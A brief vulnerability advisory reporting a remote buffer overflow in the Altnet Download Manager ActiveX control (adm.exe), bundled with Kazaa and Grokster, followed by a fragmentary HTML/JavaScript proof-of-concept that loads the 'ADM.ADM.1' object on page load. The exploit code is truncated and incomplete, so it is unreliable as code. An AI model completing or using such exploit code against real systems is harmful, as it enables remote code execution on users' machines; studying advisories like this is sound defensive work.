Altnet is reported prone to a remote buffer overflow vulnerability. This issue presents itself in an ActiveX control installed by the application. Reportedly, a malicious attacker can exploit this issue to execute arbitrary code.
This overrun occurs in \program files\Altnet\Download Manager\adm.exe
This executable is installed along with Kazaa and Grokster.
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
var foo = "";
for(var icount = 0; icount < 1; icount++)
foo = foo +
ngssoftware = new ActiveXObject("ADM.ADM.1");
<BODY bgColor=#ffffff onload=init()>